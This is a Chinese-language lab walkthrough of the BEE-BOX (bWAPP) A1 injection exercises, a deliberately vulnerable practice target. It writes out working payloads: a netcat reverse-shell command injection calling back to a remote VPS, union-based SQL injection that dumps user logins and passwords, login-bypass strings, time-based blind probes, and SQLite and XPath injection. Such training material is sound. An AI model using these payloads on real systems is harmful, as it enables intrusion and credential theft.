server新手引导 sql_新手入门靶机BEEBOX教程—第一章A1(二)

本文是BEE-BOX靶机第一章A1的注入漏洞讲解,涵盖HTML、OS命令和SQL等多种类型注入。通过实例演示了各类型注入的触发原理和危害,提供学习资源链接,并提醒读者理解漏洞来源和防范措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

2fc105fff10e335e31fc6e6b29351fca.png

0x00  Preface [前言/简介]

接着上一篇文章,更新BEE-BOX第一章A1题目,有不理解这些靶机是哪儿的小伙伴,传送门:新手入门靶机BEE-BOX教程—环境搭建(一)

0x01  BEE-BOX习题:A1-Injection原理

1d931698f49ed282bdc3cfe4358bdf5e.png

今天所更新的是A1,关于注入漏洞。在A1中有HTML页面注入、OS命令注入、SQL注入等比较经典注入。

我们在学习的时候,首先要先理解他们的原理,这些漏洞是怎么来的,怎么进行触发,危害有多大。

SQL注入跟HTML页面注入原理请移步:https://www.cnblogs.com/cooper/archive/2010/03/23/1692792.html

OS命令注入请移步:https://baijiahao.baidu.com/s?id=1652954272634233653&wfr=spider&for=pc

e67066e9e9d1a82d3ee33189d0f235d8.png

注:本文尽量寻找通俗易懂原理,如果有不清楚等地方,可以看着靶机进行走一遍,我所做的靶机题目都是属于LOW,请大神勿喷。

0x02 A1-Injection习题

1、HTML Injection - Reflected (GET)

ae6af7f5e2e3408ca1e6f5d8435bbc81.png

核心代码:

ca006a5ecead9c4eea3b5b652069ad96.png

在表单提交没有对用户输入的数据进行处理,并且在echo 的时候没有处理就打印到页面,如果我们输入:点击,效果如下:发现在First name里面变成了链接。

e950fc537a8a91afc24011015bbe8d83.png

2、HTML Injection - Reflected (POST)

跟第1题是一样,只不过是将GET换成POST,效果依然是一样,输入点也是一样。只不过参数一个是以GET方式输出,一个是POST方式输出,如果有不懂GET、POST意思的,请移步:https://blog.csdn.net/vikeyyyy/article/details/80655115。

e226972b11953d43f439de5eadbafb8c.png

3、HTML Injection - Reflected (URL)

查看代码发现接受的参数来自请求头HOST和URL,那么我们可以构造一下参数,在HOST或者URL也可以。
核心代码:

5b78924cbcef9bcae421be28860f5a83.png

e5dd2f252de2c75b1d281dc1a57c1264.png

657e2f9aa551177bb01b93e08bf3199c.png

效果如下:

42bf5e20cf1d739f1439d70247baaaa0.png

4、HTML Injection - Stored (Blog)

核心代码:

2b992b142b8498c069af451f8ce22b07.png

bb53c227530ead88acdfcbd45d09e97b.png

将数据存储到数据库中,形成存储型页面注入,老规矩,插入点击就完事。

0660670743e860fe9272dc19de4bd6aa.png

5、iFrame Injection

核心代码:

6b45a2aa89c45542bf40d0d6af09c1dc.png

87f7ebcedadff499be11305dc05eab0f.png

输出的时候没有做任何过滤,可以直接在ParamUrl输入https://www.baidu.com,效果如下:

9b67fb0bab49e5f4535d6b651f26f699.png

6、LDAP Connection Settings

需要自搭环境,懒得搞,参考文档:https://blog.csdn.net/u011774239/article/details/51258685,搭建好后连接LDAP,然后参考文档:https://blog.csdn.net/qq_19876131/article/details/50577355

7、Mail Header Injection (SMTP)

Emmmm.....这题,没成功过...还是给思路吧(相信各位的动手能力很强,可以自行解决)...参考文档:https://www.freebuf.com/articles/web/14918.html

8、OS Command Injection

核心代码:

336fc1fe3cf070791c82668bdc544bab.png

直接使用shell_exec()函数不做任何过滤,好家伙,那就直接淦。效果如下:

ac5839b136abe27c97b239cf8bf319ec.png

9、OS Command Injection - Blind

同一种类型的漏洞就不贴代码了,来来回回都是这样。目前这个是是属于无回显的漏洞,直接用VPS连接反弹shell吧,省事。

靶机:127.0.0.1;nc -e /bin/sh IP PORT

VPS:nc -vv -l -p PORT

效果如下:

49c62494a780e9283f587a8ef7a0522f.png

13037276a8c0ef9e8e82740481b5d42d.png

10、PHP Code Injection

核心代码:直接使用eval()函数,没有做任何过滤。

9ffbd7557f58b3bec931ca6002fc14a8.png

效果如下:在message参数中直接使用万能phpinfo();

f24b57dbe1e78df9b3807e0a7c9abc86.png

11、Server-Side Includes (SSI) Injection

原理请移步:https://blog.csdn.net/weixin_33757609/article/details/93613677,当发现目标站点可以根据你的输入生成shtml、stm、shtm文件就可以尝试一下。

核心代码:line变量的值使用firstname、lastname变量等拼接而成,当打开ssii.shtml页面时,将Line的值写入,那么一旦我们将firstname、lastname的值写出符合ssi语法,shtml就会执行解析,实现ssi注入。

391adc7182a33ff7de94e9215561cb97.png

效果如下:

1b26c5f383e5817a4c70d2e7f8f9cfc9.png

01e2cd59d0726901d2fcb48d1bcff679.png

11、SQL Injection (GET/Search)

SQL注入后续的比较多,但是基本相同,重要的还是找出注入点在哪儿,所以这儿打算只贴出一次源代码,除非遇到不一样的,后续将源代码贴出来学习。

核心代码:直接使用title变量进行查询,没有做任何过滤。

74c7fe93dbcc0c34af4db32de060f5d4.png

效果如下:使用单引号进行查看是否存在sql注入,发现报错后,进行手工或者使用sqlmap工具一把搜。

c3f1c35c7a9493ed5585a0784f3eaf68.png

手工语句如下:

1' order by 10#                         爆字段
1' union select 1,2,3,4,5,6,7#              爆表
1' union select 1,database(),3,4,5,6,7#         爆数据库名
1’union select 1,database(),version(),4,5,6,7#   爆版本、数据库名
1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#            爆数据表
1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#            查看users表的所有列
1' union select 1,login,password,4,5,6,7 from users# 查看users表里的login、password列信息
效果如下:直接爆账号密码

12、SQL Injection (GET/Select)

注入点如下:(注:url里的movie参数会自动变成数字,这道题是数字型注入,参数movie=1需要改成-1,因为第一条数据查不到,第二条才能显示出来了),数字型注入跟字符型注入请移步:https://www.cnblogs.com/aq-ry/p/9368619.html

8e831b1336812ee12e9784de24f44d58.png

13、SQL Injection (POST/Search)

这道题是POST注入,跟GET一样,只不过是获取参数不同,直接套GET的就ok了,只是多了需要用BP抓包。

3c6b1b4c22a2a4f3ccde0f2ba5c36eb3.png

14、SQL Injection (POST/Select)

跟上面的一样,只不过是数字型注入,如果不懂,请看看GET注入字符型跟数字型注入

cdb8ea1fc73ad8910d2a3db377896779.png

15、SQL Injection (AJAX/JSON/jQuery)

需要抓包才能显示,老规矩吧,上工具走一波就完事。

464d85eb816df99a9d0004b55e7123b5.png

16、SQL Injection (CAPTCHA)

这题需要输入正确的验证码,进去之后抓包工具走一波。

9685dd2a07c5db5758fa0f3989fdc55f.png

17、SQL Injection (Login Form/Hero)

看到登录框存在sql注入,必须万能密码走一波。

uesrname: admin
password: admin' or '1'='1
username:admin' or '1='1'#

password:aaa

核心代码:简单粗暴

e841446d6d87874d9f1600775536de90.png

ccda6f439147d62db5e986419ddf02ec.png

效果如下:

09319eb6e2763090091f3664b8f41205.png

18、SQL Injection (Login Form/User)

直接上工具吧。可能新手有一个疑问,为什么跟上一题都一样,这个不能用万能密码呢?

核心代码:查看源代码发现跟上一题不一样,没有上一题简单粗暴。通过代码我们可以看到:先判断是否存在登录名,然后取出用户名的数据,对密码进行校验,导致无法使用万能密码,因为使用了就算对得上账号,下一步对密码进行校验也会错误导致登录失败。

1c68be210826fbdd92eb3bfb8086f01f.png

19、SQL Injection (SQLite)

查看源代码发现跟GET差不多,用的查询都是一样,直接上工具跑吧。

20、Drupal SQL Injection (Drupageddon)

这题难度说高很高,想要分析漏洞的话,说低也低,无脑CVE-2014-3704打一波,这儿就不演示了。

21、SQL Injection - Stored (Blog)

这个压根就跟HTML Injection - Stored (Blog)这道题是一样的,走工具吧。

22、SQL Injection - Stored (SQLite)

这道题没啥思路,单引号测试也没用,输入啥就输出啥,工具跑也不行。找百度看了一下,需要用到sqlite语句跟常用payload。直接贴出。
12','');
12',sqlite_version());
12',(select login||":"||password from users)) -- -

23、SQL Injection - Stored (User-Agent)

这题是在User-Agent,我们找到注入点User-Agent就可以了。

核心代码:

2a01d859992689d99c088471b1ca75a5.png

24、SQL Injection - Stored (XML)

这题还是使用简单粗暴的工具跑吧,将bee改成*跑就可以了。本来这道题涉及到XXE,但是这里只是讲述SQL注入。

ef4baf923f4992f30ae9a76275a1094e.png



24、SQL Injection - Blind - Boolean-Based

布尔注入,非真既假,走工具吧。

核心代码:sql语句一样,跟之前的,但是一旦报错那些就回显Incorrect syntax detected!

db800cf8998cb0944b5b98ccaf2fe185.png

25、SQL Injection - Blind - Time-Based

时间注入,emmm....遇到最害怕的就是时间注入了,太慢了...走工具或者手工。

提供一下手工注入判断语句,其他的表哥们自己找吧:

Man of Steel' and if(1=1,sleep(5),1)#

Man of Steel' and if(1=2,sleep(5),1)#  

如果存在注入,1=1中的sleep(5)将会生效,返回数据会延迟5秒;命令1=2中的sleep(5)不会生效,返回数据的延迟不会延迟5秒。

26、SQL Injection - Blind (SQLite)

这道题也是使用工具跑。跟布尔一样,非真既假。

27、SQL Injection - Blind (WS/SOAP)

使用工具跑吧= =

28、XML/XPath Injection (Login Form)

核心代码:发现是通过读取heroes.xml文件的内容, 并且通过xpath寻找用户的账户和密码来验证登录,打开passwords/heroes.xml发现是一个xml文件,里面包含了账号密码。

XPATH原理请移步:https://www.cnblogs.com/zhangtaotqy/p/8778444.html

d88c93ef67217c4e78082df3b94d6074.png

效果如下:

账号密码:1' or '1'='1,单引号进行闭合

c1ef66d8aebc27cab1c0a4638ed2b502.png

29、XML/XPath Injection (Search)

核心代码:也是使用xml文件进行读取,查看passwords/heroes.xml文件发现里面包含账号密码。

00112888990e3c71f07e62a88354356d.png

27af120b20a6d5451d0137dcc131bd74.png

源代码里没有做任何过滤,构造payload:')]/password | a[contains(a,'
')]主要是闭合[contains(genre, '$genre
/password表示从根节点选择password字段
|表示两个节点的集合
a[contains(a,'用于闭合')]/movie

效果如下:

0x03 summary 总结

Bee-box里的A1已经全部搞定了,做的我都要吐了,很多都是直接懒得搞直接跳过的,因为个人觉得来说,就像是sql注入,除了过滤需要手工绕过,大部分都是直接sqlmap工具一把梭。

3ab13ca86f75186ef6d6b91f871e6e7e.png

刚开始学这个的时候也找了好多资料,感谢网上的各位表哥无私的分享,如今将其整理出来也是为了资料笔记整理吧。

209186632ecf61b7011711405cdc6069.png

我们做靶机练习的时候,建议先了解原理,当原理懂了之后一边做一边思考为什么会有这种漏洞,源代码一开始看如果吃力也可以暂时不学,但是后面还是得接触到。

就像如果有参数交互的,我们可以尝试SQL注入,遇到输出的尝试XSS(后续会说到),毕竟来说靶机就像是考试开卷考,答案直接找就完事,但是实战不是,实战会遇到很多问题,如waf、防火墙等问题需要解决,但实战也是基于基础上的一种进阶,只有我们基础上牢固了,我们才能想办法想思路去绕过那些。

e3b237f31ae1585d8e8eb5637fe732f2.png

本篇文章也只是作为一个抛砖引玉,如果你有更好的方法,也可以告知一下我们。文章有任何错误需要改正的,麻烦各位表哥纠正一下,一起学习,共同进步,感谢各位表哥。

0x04 结束语 

感谢大哥们的对NOVASEC的支持点赞和关注,加入我们与萌新一起成长吧。

6b601af8b5f95f9be81328b5a2179b48.png

如有任何问题、建议、投稿请加NOVASEC-MOYU,以方便及时回复。

如果需要靶机,后台回复”小蜜蜂”即可获得资源。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值